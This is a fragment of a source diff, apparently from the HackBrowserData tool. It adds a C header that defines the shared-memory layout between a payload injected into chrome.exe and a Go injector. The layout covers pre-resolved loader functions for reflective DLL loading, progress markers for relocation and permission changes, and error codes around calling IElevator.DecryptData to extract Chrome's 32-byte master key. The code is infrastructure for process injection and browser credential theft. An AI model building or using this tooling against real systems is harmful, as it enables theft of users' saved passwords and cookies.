HResultOffset = C.BOOTSTRAP_HRESULT_OFFSET
ComErrOffset = C.BOOTSTRAP_COMERR_OFFSET
KeyOffset = C.BOOTSTRAP_KEY_OFFSET
KeyLen = C.BOOTSTRAP_KEY_LEN
ImpLoadLibraryAOffset = C.BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET
ImpGetProcAddressOffset = C.BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET
ImpVirtualAllocOffset = C.BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET
ImpVirtualProtectOffset = C.BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET
ImpNtFlushICOffset = C.BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET
MarkMZFound = C.BOOTSTRAP_MARK_MZ_FOUND
MarkImportsOK = C.BOOTSTRAP_MARK_IMPORTS_OK
MarkAllocOK = C.BOOTSTRAP_MARK_ALLOC_OK
MarkCopied = C.BOOTSTRAP_MARK_COPIED
MarkRelocated = C.BOOTSTRAP_MARK_RELOCATED
MarkImportsFixed = C.BOOTSTRAP_MARK_IMPORTS_FIXED
MarkPermissions = C.BOOTSTRAP_MARK_PERMISSIONS
MarkCacheFlushed = C.BOOTSTRAP_MARK_CACHE_FLUSHED
MarkDone = C.BOOTSTRAP_MARK_DONE
MarkErrImports = C.BOOTSTRAP_MARK_ERR_IMPORTS
MarkErrAlloc = C.BOOTSTRAP_MARK_ERR_ALLOC
ErrOk = C.ABE_ERR_OK
ErrBasename = C.ABE_ERR_BASENAME
ErrBrowserUnknown = C.ABE_ERR_BROWSER_UNKNOWN
ErrEnvMissing = C.ABE_ERR_ENV_MISSING
ErrBase64 = C.ABE_ERR_BASE64
ErrBstrAlloc = C.ABE_ERR_BSTR_ALLOC
ErrComCreate = C.ABE_ERR_COM_CREATE
ErrDecryptData = C.ABE_ERR_DECRYPT_DATA
ErrKeyLen = C.ABE_ERR_KEY_LEN
)
@@ -0,0 +1,99 @@
#ifndef HBD_ABE_BOOTSTRAP_LAYOUT_H
#define HBD_ABE_BOOTSTRAP_LAYOUT_H
#include <stdint.h>
#include <stddef.h>
// BootstrapScratch describes the IPC contract between the C payload running
// inside chrome.exe and the Go injector in our own process. It squats inside
// the target DLL's PE DOS header region. Windows' PE loader ignores the DOS
// stub at 0x40..0x77, and we also borrow a few reserved bytes between 0x28
// and 0x3B inside IMAGE_DOS_HEADER. The e_lfanew at 0x3C..0x3F MUST be left
// untouched so the PE loader can still find the NT headers.
//
// This header is deliberately free of <windows.h> so cgo -godefs can read it
// on macOS / Linux to regenerate the Go-side constants.
typedef struct __attribute__((packed)) BootstrapScratch {
uint8_t dos_header_prefix[0x28]; // 0x00..0x27
uint8_t marker; // 0x28: Bootstrap progress marker
uint8_t key_status; // 0x29: 0x01 = key ready
uint8_t extract_err_code; // 0x2A: ABE_ERR_* category on failure
uint8_t _reserved_2b; // 0x2B
uint32_t hresult; // 0x2C: COM HRESULT on failure (0 otherwise)
uint32_t com_err; // 0x30: IElevator.DecryptData out DWORD on failure
uint8_t dos_header_tail[0x40 - 0x34]; // 0x34..0x3F, includes e_lfanew @ 0x3C
// 0x40..0x67: time-shared region
// pre-Bootstrap: 5 pre-resolved kernel32/ntdll function pointers
// post-DllMain : 32-byte master key at 0x40..0x5F
union {
struct {
uintptr_t LoadLibraryA; // 0x40
uintptr_t GetProcAddress; // 0x48
uintptr_t VirtualAlloc; // 0x50
uintptr_t VirtualProtect; // 0x58
uintptr_t NtFlushInstructionCache; // 0x60
} imports;
uint8_t key[32]; // 0x40..0x5F
} shared;
} BootstrapScratch;
// Byte offsets derived from the struct. These are the ONLY place raw numeric
// offsets appear; every C and Go consumer uses these names (or the Go-side
// constants generated from them via cgo -godefs).
#define BOOTSTRAP_MARKER_OFFSET offsetof(struct BootstrapScratch, marker)
#define BOOTSTRAP_KEY_STATUS_OFFSET offsetof(struct BootstrapScratch, key_status)
#define BOOTSTRAP_KEY_STATUS_READY 0x01
#define BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET offsetof(struct BootstrapScratch, extract_err_code)
#define BOOTSTRAP_HRESULT_OFFSET offsetof(struct BootstrapScratch, hresult)
#define BOOTSTRAP_COMERR_OFFSET offsetof(struct BootstrapScratch, com_err)
#define BOOTSTRAP_KEY_OFFSET offsetof(struct BootstrapScratch, shared.key)
#define BOOTSTRAP_KEY_LEN 32
#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET offsetof(struct BootstrapScratch, shared.imports.LoadLibraryA)
#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET offsetof(struct BootstrapScratch, shared.imports.GetProcAddress)
#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualAlloc)
#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualProtect)
#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET offsetof(struct BootstrapScratch, shared.imports.NtFlushInstructionCache)
// Progress markers written by Bootstrap itself (enum-like, not offsets).
#define BOOTSTRAP_MARK_MZ_FOUND 0x02
#define BOOTSTRAP_MARK_IMPORTS_OK 0x05
#define BOOTSTRAP_MARK_ALLOC_OK 0x06
#define BOOTSTRAP_MARK_COPIED 0x07
#define BOOTSTRAP_MARK_RELOCATED 0x08
#define BOOTSTRAP_MARK_IMPORTS_FIXED 0x09
#define BOOTSTRAP_MARK_PERMISSIONS 0x0A
#define BOOTSTRAP_MARK_CACHE_FLUSHED 0x0B
#define BOOTSTRAP_MARK_DONE 0xFF
#define BOOTSTRAP_MARK_ERR_IMPORTS 0xE3
#define BOOTSTRAP_MARK_ERR_ALLOC 0xE4
// Failure categories written by abe_extractor.c. Complements hresult: many
// failures (env missing, unknown browser) have no COM HRESULT, so they need
// a separate category code. 0 = no error / success.
#define ABE_ERR_OK 0x00
#define ABE_ERR_BASENAME 0x01 // GetOwnExeBasename failed
#define ABE_ERR_BROWSER_UNKNOWN 0x02 // exe not in com_iid table
#define ABE_ERR_ENV_MISSING 0x03 // HBD_ABE_ENC_B64 missing or oversized
#define ABE_ERR_BASE64 0x04 // CryptStringToBinaryA failed
#define ABE_ERR_BSTR_ALLOC 0x05 // SysAllocStringByteLen returned NULL
#define ABE_ERR_COM_CREATE 0x06 // CoCreateInstance failed both v1 and v2
#define ABE_ERR_DECRYPT_DATA 0x07 // IElevator.DecryptData returned failure HRESULT
#define ABE_ERR_KEY_LEN 0x08 // DecryptData succeeded but wrong length
// Compile-time layout verification. Any drift here = build break.
_Static_assert(sizeof(void *) == 8, "BootstrapScratch layout assumes 64-bit");
_Static_assert(offsetof(struct BootstrapScratch, marker) == 0x28, "marker offset");
_Static_assert(offsetof(struct BootstrapScratch, key_status) == 0x29, "key_status offset");
_Static_assert(offsetof(struct BootstrapScratch, extract_err_code) == 0x2A, "extract_err_code offset");
_Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset");
_Static_assert(offsetof(struct BootstrapScratch, com_err) == 0x30, "com_err offset");
_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset");
_Static_assert(sizeof(((struct BootstrapScratch *)0)->shared.key) == 32, "key length");
#endif // HBD_ABE_BOOTSTRAP_LAYOUT_H
-1
View File
@@ -1,4 +1,3 @@
// SPDX-License-Identifier: Apache-2.0
#include "com_iid.h"
// CLSID / IID values migrated from HackBrowserData-injector-old's
-2
View File
@@ -1,5 +1,3 @@
// SPDX-License-Identifier: Apache-2.0
#ifndef HBD_ABE_COM_IID_H
#define HBD_ABE_COM_IID_H